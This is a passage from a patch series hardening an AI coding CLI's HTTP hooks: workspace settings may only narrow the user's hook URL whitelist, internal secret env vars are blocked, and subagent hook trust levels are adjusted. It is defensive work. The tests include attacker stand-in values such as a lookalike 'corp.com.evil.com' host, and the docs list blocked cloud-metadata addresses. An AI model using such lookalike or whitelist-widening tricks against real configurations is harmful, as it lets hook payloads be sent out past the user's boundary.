warningSet.add( + `Warning: security.allowedHttpHookUrls in workspace settings (${workspaceFile.path}) can only narrow the whitelist from User, System, or SystemDefaults scope settings: entries not covered by a higher-scope whitelist are dropped, and the workspace value is ignored entirely when no higher-scope whitelist is set (HTTP hooks then remain unrestricted apart from SSRF protection).`, + ); } } @@ -416,29 +415,64 @@ function tagMcpServerScope( /** * `security.allowPrivateNetworkHooks` relaxes SSRF protection for HTTP hooks, - * and `security.allowedHttpHookUrls` replaces the user's whitelist of where - * HTTP hooks may POST agent data. Neither may be honored from Workspace - * scope — otherwise a malicious repository could self-grant the bypass - * (point hooks at link-local or private infrastructure) or widen the - * whitelist to exfiltrate hook payloads past the user's configured - * boundary. Strip them all from workspace settings before merging. + * and `security.allowedHttpHookUrls` controls where HTTP hooks may POST + * agent data. A Workspace scope may widen neither — otherwise a malicious + * repository could self-grant the bypass (point hooks at link-local or + * private infrastructure) or widen the whitelist to exfiltrate hook + * payloads past the user's configured boundary: + * + * - the boolean bypass is stripped outright; + * - the whitelist is intersected with the effective User/System/ + * SystemDefaults whitelist, so a trusted workspace can only NARROW the + * destinations the user already allowed. Entries no higher-scope entry + * covers are dropped; when no higher-scope whitelist exists, or nothing + * survives the intersection, the workspace list is ignored entirely — + * an empty whitelist means "allow all" to the hook URL validator, so + * discarding a narrowing list must fall back to the higher-scope policy, + * never to unrestricted. + * * Returns a shallow copy — never mutates input. */ -function stripWorkspaceHookSecurityOverrides(settings: Settings): Settings { - const security = settings.security; +function narrowWorkspaceHookSecurityOverrides( + workspace: Settings, + system: Settings, + user: Settings, + systemDefaults: Settings, +): Settings { + const security = workspace.security; if ( !security || WORKSPACE_STRIPPED_SECURITY_FIELDS.every( (field) => security[field] === undefined, ) ) { - return settings; + return workspace; } const restSecurity = { ...security }; - for (const field of WORKSPACE_STRIPPED_SECURITY_FIELDS) { - delete restSecurity[field]; + delete restSecurity.allowPrivateNetworkHooks; + + const workspaceUrls = security.allowedHttpHookUrls; + if (workspaceUrls !== undefined) { + const higherUrls = + system.security?.allowedHttpHookUrls ?? + user.security?.allowedHttpHookUrls ?? + systemDefaults.security?.allowedHttpHookUrls; + const narrowed = + higherUrls === undefined + ? [] + : workspaceUrls.filter((entry) => + higherUrls.some((higher) => hookUrlPatternCovers(higher, entry)), + ); + // A non-empty intersection replaces the higher-scope list (it is a + // subset of what that list allows); otherwise the higher-scope policy + // stands unchanged. + if (narrowed.length > 0) { + restSecurity.allowedHttpHookUrls = narrowed; + } else { + delete restSecurity.allowedHttpHookUrls; + } } - return { ...settings, security: restSecurity }; + return { ...workspace, security: restSecurity }; } function mergeSettings( @@ -450,7 +484,12 @@ function mergeSettings( ): Settings { const safeWorkspace = isTrusted ? tagMcpServerScope( - stripWorkspaceHookSecurityOverrides(workspace), + narrowWorkspaceHookSecurityOverrides( + workspace, + system, + user, + systemDefaults, + ), 'workspace', ) : ({} as Settings); diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index e1c411d67b8..53663ae3efc 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -2991,7 +2991,7 @@ const SETTINGS_SCHEMA = { requiresRestart: false, default: [] as string[], description: - 'Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; values set in Workspace settings are ignored so a cloned repository cannot widen the whitelist.', + 'Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; a value set in Workspace settings can only narrow a higher-scope whitelist (entries not covered by it are dropped, and it is ignored entirely when no higher-scope whitelist is set), so a cloned repository cannot widen where hook payloads may be sent.', showInDialog: false, items: { type: 'string', diff --git a/packages/core/src/hooks/envInterpolator.test.ts b/packages/core/src/hooks/envInterpolator.test.ts index bfb65722d97..289248145ef 100644 --- a/packages/core/src/hooks/envInterpolator.test.ts +++ b/packages/core/src/hooks/envInterpolator.test.ts @@ -4,7 +4,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; import { interpolateEnvVars, interpolateHeaders, @@ -14,6 +14,17 @@ import { sanitizeHeaderValue, } from './envInterpolator.js'; +const mockDebugLogger = vi.hoisted(() => ({ + isEnabled: vi.fn(() => false), + debug: vi.fn(), + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), +})); +vi.mock('../utils/debugLogger.js', () => ({ + createDebugLogger: vi.fn(() => mockDebugLogger), +})); + describe('envInterpolator', () => { const originalEnv = process.env; @@ -22,6 +33,7 @@ describe('envInterpolator', () => { process.env['MY_TOKEN'] = 'secret-token'; process.env['API_KEY'] = 'api-key-123'; process.env['EMPTY_VAR'] = ''; + mockDebugLogger.warn.mockClear(); }); afterEach(() => { @@ -71,6 +83,21 @@ describe('envInterpolator', () => { expect(result).not.toContain('daemon-secret'); }); + it('should warn in the debug log, naming the blocked internal-secret variable', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + interpolateEnvVars('token=$QWEN_SERVER_TOKEN', ['QWEN_SERVER_TOKEN']); + expect(mockDebugLogger.warn).toHaveBeenCalledTimes(1); + const message = String(mockDebugLogger.warn.mock.calls[0]?.[0]); + expect(message).toContain('QWEN_SERVER_TOKEN'); + // The variable name is diagnostic; its value must never be logged. + expect(message).not.toContain('daemon-secret'); + }); + + it('should not warn for variables that are merely outside the whitelist', () => { + interpolateEnvVars('token=$OTHER_VAR', ['MY_TOKEN']); + expect(mockDebugLogger.warn).not.toHaveBeenCalled(); + }); + it('should block internal secrets regardless of casing', () => { process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; process.env['qwen_server_token'] = 'daemon-secret'; diff --git a/packages/core/src/hooks/envInterpolator.ts b/packages/core/src/hooks/envInterpolator.ts index ee01ff8a6de..a66b8f89981 100644 --- a/packages/core/src/hooks/envInterpolator.ts +++ b/packages/core/src/hooks/envInterpolator.ts @@ -10,6 +10,9 @@ */ import { isInternalSecretEnvVar } from '../utils/sanitize-child-env.js'; +import { createDebugLogger } from '../utils/debugLogger.js'; + +const debugLogger = createDebugLogger('ENV_INTERPOLATOR'); /** * Strip CR, LF, and NUL bytes from a header value to prevent HTTP header @@ -70,8 +73,14 @@ export function interpolateEnvVars( // Qwen-internal secrets (daemon tokens, private capabilities) are // never interpolated, even when a hook config names them in // allowedEnvVars — the whitelist is repo-controlled, the values - // leave the process over the network. + // leave the process over the network. The warn names the variable + // (never its value): this path silently substitutes '', unlike the + // sibling resolvers that keep the placeholder or throw, so the + // debug log is the only way to diagnose the lost reference. if (isInternalSecretEnvVar(varName)) { + debugLogger.warn( + `Hook value references Qwen-internal secret env var "${varName}"; it is never interpolated and was replaced with an empty string.`, + ); return ''; } if (allowedVars.includes(varName)) { diff --git a/packages/core/src/hooks/index.ts b/packages/core/src/hooks/index.ts index 316b8d0c494..7ebd0425741 100644 --- a/packages/core/src/hooks/index.ts +++ b/packages/core/src/hooks/index.ts @@ -37,7 +37,11 @@ export { hasEnvVarReferences, extractEnvVarNames, } from './envInterpolator.js'; -export { UrlValidator, createUrlValidator } from './urlValidator.js'; +export { + UrlValidator, + createUrlValidator, + hookUrlPatternCovers, +} from './urlValidator.js'; // Export interfaces and enums export type { HookRegistryEntry } from './hookRegistry.js'; diff --git a/packages/core/src/hooks/urlValidator.test.ts b/packages/core/src/hooks/urlValidator.test.ts index 90ce6b8b37f..671220c185a 100644 --- a/packages/core/src/hooks/urlValidator.test.ts +++ b/packages/core/src/hooks/urlValidator.test.ts @@ -5,7 +5,11 @@ */ import { describe, it, expect } from 'vitest'; -import { UrlValidator, createUrlValidator } from './urlValidator.js'; +import { + UrlValidator, + createUrlValidator, + hookUrlPatternCovers, +} from './urlValidator.js'; describe('UrlValidator', () => { describe('isBlocked', () => { @@ -198,3 +202,76 @@ describe('UrlValidator', () => { }); }); }); + +describe('hookUrlPatternCovers', () => { + it('treats identical patterns as covering', () => { + expect( + hookUrlPatternCovers('https://corp.com/*', 'https://corp.com/*'), + ).toBe(true); + }); + + it('lets a wildcard-suffix entry narrow its parent pattern', () => { + expect( + hookUrlPatternCovers('https://corp.com/*', 'https://corp.com/hooks/*'), + ).toBe(true); + }); + + it('lets an exact URL narrow a wildcard pattern', () => { + expect( + hookUrlPatternCovers('https://corp.com/*', 'https://corp.com/ci'), + ).toBe(true); + }); + + it('rejects entries outside the higher-scope pattern', () => { + expect( + hookUrlPatternCovers('https://corp.com/*', 'https://evil.com/*'), + ).toBe(false); + }); + + it('rejects a lookalike host that extends a literal chunk', () => { + expect( + hookUrlPatternCovers('https://corp.com/*', 'https://corp.com.evil.com/*'), + ).toBe(false); + }); + + it('rejects the catch-all "*" against a bounded pattern', () => { + expect(hookUrlPatternCovers('https://corp.com/*', '*')).toBe(false); + }); + + it('lets the catch-all "*" cover any entry', () => { + expect(hookUrlPatternCovers('*', 'https://corp.com/hooks/*')).toBe(true); + }); + + it('matches case-insensitively like the URL validator', () => { + expect( + hookUrlPatternCovers('https://CORP.com/*', 'https://corp.com/hooks/*'), + ).toBe(true); + }); + + it('treats pre-escaped and unescaped spellings as equivalent', () => { + expect( + hookUrlPatternCovers( + 'https://api\\.example\\.com/*', + 'https://api.example.com/hooks/*', + ), + ).toBe(true); + expect( + hookUrlPatternCovers( + 'https://api.example.com/*', + 'https://api\\.example\\.com/hooks/*', + ), + ).toBe(true); + }); + + it('rejects entries that add a wildcard outside the higher-scope literals', () => { + expect( + hookUrlPatternCovers('https://corp.com/*', 'https://*/corp.com/*'), + ).toBe(false); + }); + + it('does not let escapes other than \\. widen coverage (fails closed)', () => { + // `\*` is not the documented `\.` escape; normalizing it into a + // catch-all would widen the higher-scope policy. + expect(hookUrlPatternCovers('\\*', 'https://corp.com/*')).toBe(false); + }); +}); diff --git a/packages/core/src/hooks/urlValidator.ts b/packages/core/src/hooks/urlValidator.ts index 822a230a0d9..35bf277e1e9 100644 --- a/packages/core/src/hooks/urlValidator.ts +++ b/packages/core/src/hooks/urlValidator.ts @@ -185,3 +185,31 @@ export function createUrlValidator( ): UrlValidator { return new UrlValidator(allowedUrls || [], allowPrivateNetworkHosts); } + +/** + * Returns true when every URL matched by the `inner` hook URL pattern is + * also matched by the `outer` pattern (both support `*` wildcards, like + * `security.allowedHttpHookUrls` entries). Used to intersect a + * workspace-scope whitelist with the higher-scope one: a workspace entry + * may only survive the merge when it merely narrows what a higher scope + * already allows. + * + * The check matches `inner` (its `*` read as literal characters) against + * `outer` compiled as a wildcard pattern; if `outer`'s literal chunks + * appear in `inner` in order, any concrete URL expanding `inner`'s + * wildcards keeps those chunks in order and therefore matches `outer`. + * The `\.` escape — the only one the validator's pre-escaped spelling + * uses — is normalized first so both spellings of the same pattern cover + * each other; anything the check cannot prove covered fails closed + * (returns false). + */ +export function hookUrlPatternCovers( + outerPattern: string, + innerPattern: string, +): boolean { + const unescape = (pattern: string) => pattern.replace(/\\\./g, '.'); + const escaped = unescape(outerPattern) + .replace(/[.+?^${}()|[\]\\]/g, '\\$&') + .replace(/\*/g, '.*'); + return new RegExp(`^${escaped}$`, 'i').test(unescape(innerPattern)); +} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index ea3052f1bb7..dc8ca0f1c4f 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -625,6 +625,7 @@ export { HookRegistry, createInstructionsLoadedCallback, hookEventSupportsMatcher, + hookUrlPatternCovers, } from './hooks/index.js'; export type { HookRegistryEntry, SessionHookEntry } from './hooks/index.js'; export { diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index 7a34c9151f5..d0a0c8eac09 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -2712,7 +2712,10 @@ bad`); await result.dispose(); }); - it('fails closed for non-allowlisted levels: session-level hooks need trust too', async () => { + it('registers hooks for a session-level (host-supplied) subagent regardless of folder trust', async () => { + // Session agents arrive via the embedding host (SDK `agents` option + // or the control protocol), never from repository files, so the + // allowlist treats them like user-level agents. const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), @@ -2722,7 +2725,6 @@ bad`); const result = await manager.createAgentHeadless( { ...baseConfig, - // baseConfig is 'session' level — not in the trusted allowlist level: 'session', hooks: { PreToolUse: [ @@ -2736,6 +2738,36 @@ bad`); mockConfig, ); + expect(addAgentHooksSpy).toHaveBeenCalledTimes(1); + expect(result).toHaveProperty('subagent'); + await result.dispose(); + }); + + it('fails closed for levels outside the allowlist (unknown or future levels)', async () => { + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + // Any level not in the trusted allowlist requires folder + // trust — pin the fail-closed direction for future values. + level: 'future-level' as unknown as SubagentConfig['level'], + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + expect(addAgentHooksSpy).not.toHaveBeenCalled(); expect(result).toHaveProperty('subagent'); await result.dispose(); diff --git a/packages/core/src/subagents/subagent-manager.ts b/packages/core/src/subagents/subagent-manager.ts index 27e3622c89c..b76555ceff2 100644 --- a/packages/core/src/subagents/subagent-manager.ts +++ b/packages/core/src/subagents/subagent-manager.ts @@ -925,16 +925,19 @@ export class SubagentManager { const hookRegistry = hookSystem?.getRegistry(); if (config.hooks && Object.keys(config.hooks).length > 0) { // Fail closed: only levels that cannot originate from the - // repository ('user', 'builtin', 'extension') skip the folder-trust - // gate. 'project' agents load from /.qwen/agents/ regardless - // of trust (read-only use is fine), but their hooks are repo- - // supplied code execution — the same gate Config.getProjectHooks() - // applies to settings-file hooks — and any future or unset level - // requires trust too. + // repository skip the folder-trust gate. 'project' agents load + // from /.qwen/agents/ regardless of trust (read-only use is + // fine), but their hooks are repo-supplied code execution — the + // same gate Config.getProjectHooks() applies to settings-file + // hooks — and any future or unset level requires trust too. + // 'session' agents are supplied by the embedding host (SDK + // `agents` option or the control protocol), never loaded from + // repository files, so they sit on the same footing as 'user'. const trustedAgentLevel = config.level === 'user' || config.level === 'builtin' || - config.level === 'extension'; + config.level === 'extension' || + config.level === 'session'; if (!trustedAgentLevel && !runtimeContext.isTrustedFolder()) { debugLogger.warn( `Subagent "${config.name}" declares hooks but the folder is not trusted; ignoring per-agent hooks.`, diff --git a/packages/vscode-ide-companion/schemas/settings.schema.json b/packages/vscode-ide-companion/schemas/settings.schema.json index cf8d9e826a1..b08dd023566 100644 --- a/packages/vscode-ide-companion/schemas/settings.schema.json +++ b/packages/vscode-ide-companion/schemas/settings.schema.json @@ -1416,7 +1416,7 @@ } }, "allowedHttpHookUrls": { - "description": "Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; values set in Workspace settings are ignored so a cloned repository cannot widen the whitelist.", + "description": "Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; a value set in Workspace settings can only narrow a higher-scope whitelist (entries not covered by it are dropped, and it is ignored entirely when no higher-scope whitelist is set), so a cloned repository cannot widen where hook payloads may be sent.", "type": "array", "items": { "description": "URL pattern (supports * wildcard)", From 846ec2d7ad7b5d6f7c3d961df583502d7af0042f Mon Sep 17 00:00:00 2001 From: qwen-code-dev-bot Date: Tue, 4 Aug 2026 16:44:57 +0000 Subject: [PATCH 17/21] fix(hooks): roll back once-hook slot when a 3xx is never delivered (#8396) --- .../core/src/hooks/httpHookRunner.test.ts | 34 +++++++++++++++++++ packages/core/src/hooks/httpHookRunner.ts | 8 ++++- 2 files changed, 41 insertions(+), 1 deletion(-) diff --git a/packages/core/src/hooks/httpHookRunner.test.ts b/packages/core/src/hooks/httpHookRunner.test.ts index 360a9749e4f..00f7473c2de 100644 --- a/packages/core/src/hooks/httpHookRunner.test.ts +++ b/packages/core/src/hooks/httpHookRunner.test.ts @@ -253,6 +253,40 @@ describe('HttpHookRunner', () => { expect(mockFetch).toHaveBeenCalledTimes(1); // Still 1 }); + it('should not consume a once hook slot on an undelivered 3xx redirect', async () => { + mockFetch.mockResolvedValue({ + ok: false, + status: 302, + headers: new Headers({ location: 'https://api.example.com/moved' }), + }); + + const config = createMockConfig({ once: true }); + const input = createMockInput(); + + const first = await httpRunner.execute( + config, + HookEventName.SessionStart, + input, + ); + const second = await httpRunner.execute( + config, + HookEventName.SessionStart, + input, + ); + + // A redirect delivers no payload, so it cannot consume the one + // execution: both firings must fetch instead of skipping. + expect(mockFetch).toHaveBeenCalledTimes(2); + expect(first.output?.continue).toBe(true); + expect(first.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); + // The redirect-warning slot is independent of the once slot: the + // remedy is still emitted only once. + expect(second.output?.systemMessage).toBeUndefined(); + expect(second.output?.continue).toBe(true); + }); + it('should not follow redirects — 3xx is a non-blocking error and the target is never contacted', async () => { mockFetch.mockResolvedValueOnce({ ok: false, diff --git a/packages/core/src/hooks/httpHookRunner.ts b/packages/core/src/hooks/httpHookRunner.ts index 3cb91db1272..f4e392aaa46 100644 --- a/packages/core/src/hooks/httpHookRunner.ts +++ b/packages/core/src/hooks/httpHookRunner.ts @@ -156,8 +156,8 @@ export class HttpHookRunner { } // Check once flag + const onceKey = `${hookConfig.url}:${eventName}`; if (hookConfig.once) { - const onceKey = `${hookConfig.url}:${eventName}`; if (this.executedOnceHooks.has(onceKey)) { debugLogger.debug( `Skipping once hook ${hookId} - already executed for ${eventName}`, @@ -263,6 +263,12 @@ export class HttpHookRunner { // Execution continues, but we log a warning if (!response.ok) { if (response.status >= 300 && response.status < 400) { + // A redirect delivers no payload, so it must not consume a + // once hook's single execution: drop the slot added above so + // the hook fires again instead of silently no-op-ing forever. + if (hookConfig.once) { + this.executedOnceHooks.delete(onceKey); + } // With redirect: 'manual' a 3xx lands here; the endpoint is // behind a redirecting LB and silently no-ops unless the user // knows to repoint it, so name the target and the remedy. From edb11de1f7af9d40d57656e7d7f50e4851b8c5ac Mon Sep 17 00:00:00 2001 From: qwen-code-dev-bot Date: Tue, 4 Aug 2026 22:22:51 +0000 Subject: [PATCH 18/21] fix(hooks): fail closed and scan linearly when narrowing workspace hook whitelists (#8396) Coverage check now rejects patterns carrying regex content beyond the \. escape (an alternation or character class could widen the effective whitelist past the user's policy) and compares via a linear chunk scan instead of a backtracking regex (startup could stall on long near-miss entries). Settings merge coerces malformed workspace/higher-scope allowedHttpHookUrls values to valid string lists and drops non-object workspace security sections, preserving the never-crash and never-widen invariants. Reset re-arms the redirect warning slot, the narrowing warning is gated on folder trust, the System-scope precedence is stated in all four user-facing texts, and the dev loader remaps the memoryScopes subpath. --- docs/users/features/hooks.md | 2 +- packages/cli/src/config/settings.test.ts | 155 ++++++++++++++++++ packages/cli/src/config/settings.ts | 49 +++++- packages/cli/src/config/settingsSchema.ts | 2 +- .../core/src/hooks/httpHookRunner.test.ts | 34 ++++ packages/core/src/hooks/httpHookRunner.ts | 1 + packages/core/src/hooks/urlValidator.test.ts | 37 +++++ packages/core/src/hooks/urlValidator.ts | 51 ++++-- .../schemas/settings.schema.json | 2 +- scripts/dev.js | 11 ++ 10 files changed, 322 insertions(+), 22 deletions(-) diff --git a/docs/users/features/hooks.md b/docs/users/features/hooks.md index 3b32bc1f065..44371a00fe0 100644 --- a/docs/users/features/hooks.md +++ b/docs/users/features/hooks.md @@ -117,7 +117,7 @@ By default, HTTP hooks cannot target private or link-local IP ranges. In platfor - This setting is **only honored from User, System, and SystemDefaults settings scopes**. A value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can never self-grant this bypass. - The flag relaxes only the general private/CGNAT/link-local **range** checks. Cloud metadata endpoints stay blocked in every configuration: the `BLOCKED_HOSTS` list is matched literally (`metadata.google.internal`, `metadata.azure.internal`, ...), and the metadata IPs `169.254.169.254` and `100.100.100.200` are blocked in all serialized forms (including IPv4-mapped IPv6 such as `::ffff:a9fe:a9fe`) and after DNS resolution. -- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. Like this flag, the whitelist is **only honored from User, System, and SystemDefaults settings scopes**; a value set in Workspace (project) settings can only _narrow_ the higher-scope whitelist and is logged as a warning: workspace entries that no higher-scope entry covers are dropped, and when no higher scope sets a whitelist the workspace value is ignored entirely (an empty whitelist means "allow all", so a repository can neither widen where hook payloads may be sent nor establish a whitelist of its own). +- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. Like this flag, the whitelist is **honored from User, System, and SystemDefaults settings scopes**; a value set in Workspace (project) settings can only _narrow_ the User or SystemDefaults whitelist and is logged as a warning: workspace entries that no higher-scope entry covers are dropped, when no higher scope sets a whitelist the workspace value is ignored entirely, and a System-scope whitelist always takes precedence over the workspace value (an empty whitelist means "allow all", so a repository can neither widen where hook payloads may be sent nor establish a whitelist of its own). > **Warning:** Enabling this flag lets hooks reach internal infrastructure on your network. Enable it only in trusted, managed settings — never in a repository you do not control. diff --git a/packages/cli/src/config/settings.test.ts b/packages/cli/src/config/settings.test.ts index de0e60f188b..a86c8a2dd7d 100644 --- a/packages/cli/src/config/settings.test.ts +++ b/packages/cli/src/config/settings.test.ts @@ -3456,6 +3456,134 @@ describe('Settings Loading and Merging', () => { ]); }); + it('should let a trusted workspace whitelist narrow the systemDefaults whitelist', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === getSystemDefaultsPath()) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://managed.example.com/*'], + }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: [ + 'https://managed.example.com/ci/*', + 'https://uncovered.example.com/*', + ], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // SystemDefaults is a documented honored scope: covered workspace + // entries narrow it; uncovered ones are dropped. + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://managed.example.com/ci/*', + ]); + }); + + it('should survive a malformed workspace allowedHttpHookUrls and keep the user whitelist', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + // A common hand-edit to "clear" the list. + security: { allowedHttpHookUrls: null }, + }); + return '{}'; + }, + ); + + // Must not throw out of loadSettings, and the malformed value must + // not replace the user's list (which would read as "allow all"). + const settings = loadSettings(MOCK_WORKSPACE_DIR); + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://hooks.corp.com/*', + ]); + }); + + it('should drop non-string workspace whitelist entries instead of throwing', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: [42, 'https://hooks.corp.com/ci/*', null], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://hooks.corp.com/ci/*', + ]); + }); + + it('should drop the workspace list when the higher-scope whitelist is malformed', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: 'https://hooks.corp.com/*' }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://hooks.corp.com/ci/*'], + }, + }); + return '{}'; + }, + ); + + // No throw on the non-array higher-scope value; the workspace list + // is dropped and the user's value survives the merge untouched. + const settings = loadSettings(MOCK_WORKSPACE_DIR); + expect(settings.merged.security?.allowedHttpHookUrls).toBe( + 'https://hooks.corp.com/*', + ); + }); + + it('should not let a non-object workspace security section wipe higher-scope security', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ security: null }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // The workspace's `security: null` is dropped instead of replacing + // the user's security section (an empty whitelist means "allow all"). + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://hooks.corp.com/*', + ]); + }); + it('should warn when workspace settings define security.allowPrivateNetworkHooks', () => { (mockFsExistsSync as Mock).mockReturnValue(true); (fs.readFileSync as Mock).mockImplementation( @@ -3503,6 +3631,33 @@ describe('Settings Loading and Merging', () => { expect(warning).toContain('unrestricted apart from SSRF protection'); }); + it('should not emit the narrowing warning when the workspace is not trusted', () => { + vi.mocked(isWorkspaceTrusted).mockReturnValue({ + isTrusted: false, + source: 'file', + }); + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://hooks.example.com/*'], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // Untrusted workspace settings are discarded whole, so there is no + // narrowing to describe. + const warnings = getSettingsWarnings(settings); + expect( + warnings.some((w) => w.includes('security.allowedHttpHookUrls')), + ).toBe(false); + }); + it('should not warn about stripped security fields when workspace settings do not define them', () => { (mockFsExistsSync as Mock).mockReturnValue(true); (fs.readFileSync as Mock).mockImplementation( diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index 7514a13cf93..4ce310f620d 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -379,9 +379,14 @@ export function getSettingsWarnings(loadedSettings: LoadedSettings): string[] { `Warning: security.allowPrivateNetworkHooks in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, ); } - if (workspaceSecurity?.allowedHttpHookUrls !== undefined) { + // Narrowing only applies in trusted folders; untrusted workspace + // settings are discarded whole, so there is nothing to narrow. + if ( + loadedSettings.isTrusted && + workspaceSecurity?.allowedHttpHookUrls !== undefined + ) { warningSet.add( - `Warning: security.allowedHttpHookUrls in workspace settings (${workspaceFile.path}) can only narrow the whitelist from User, System, or SystemDefaults scope settings: entries not covered by a higher-scope whitelist are dropped, and the workspace value is ignored entirely when no higher-scope whitelist is set (HTTP hooks then remain unrestricted apart from SSRF protection).`, + `Warning: security.allowedHttpHookUrls in workspace settings (${workspaceFile.path}) can only narrow the whitelist from User or SystemDefaults scope settings: entries not covered by a higher-scope whitelist are dropped, and the workspace value is ignored entirely when no higher-scope whitelist is set (HTTP hooks then remain unrestricted apart from SSRF protection). A System-scope whitelist always takes precedence over the workspace value.`, ); } } @@ -440,8 +445,24 @@ function narrowWorkspaceHookSecurityOverrides( systemDefaults: Settings, ): Settings { const security = workspace.security; + if (security === undefined) { + return workspace; + } + if ( + security === null || + typeof security !== 'object' || + Array.isArray(security) + ) { + // A non-object `security` (e.g. `"security": null` from a hand-edited + // file) carries nothing to narrow, but customDeepMerge would still + // assign it over the higher-scope object and wipe the user's entire + // security section — which the hook URL validator reads as "allow + // all". Drop it so the higher-scope policy survives. + const rest = { ...workspace }; + delete rest.security; + return rest; + } if ( - !security || WORKSPACE_STRIPPED_SECURITY_FIELDS.every( (field) => security[field] === undefined, ) @@ -451,12 +472,24 @@ function narrowWorkspaceHookSecurityOverrides( const restSecurity = { ...security }; delete restSecurity.allowPrivateNetworkHooks; - const workspaceUrls = security.allowedHttpHookUrls; - if (workspaceUrls !== undefined) { - const higherUrls = + if (security.allowedHttpHookUrls !== undefined) { + // Settings files are validated only as top-level JSON objects, so a + // hand-edited file can put null, a bare string, or non-string entries + // here; reduce both sides to valid string lists before comparing. + const workspaceUrls = Array.isArray(security.allowedHttpHookUrls) + ? security.allowedHttpHookUrls.filter( + (entry): entry is string => typeof entry === 'string', + ) + : []; + const higherUrlsRaw = system.security?.allowedHttpHookUrls ?? user.security?.allowedHttpHookUrls ?? systemDefaults.security?.allowedHttpHookUrls; + const higherUrls = Array.isArray(higherUrlsRaw) + ? higherUrlsRaw.filter( + (entry): entry is string => typeof entry === 'string', + ) + : undefined; const narrowed = higherUrls === undefined ? [] @@ -465,7 +498,9 @@ function 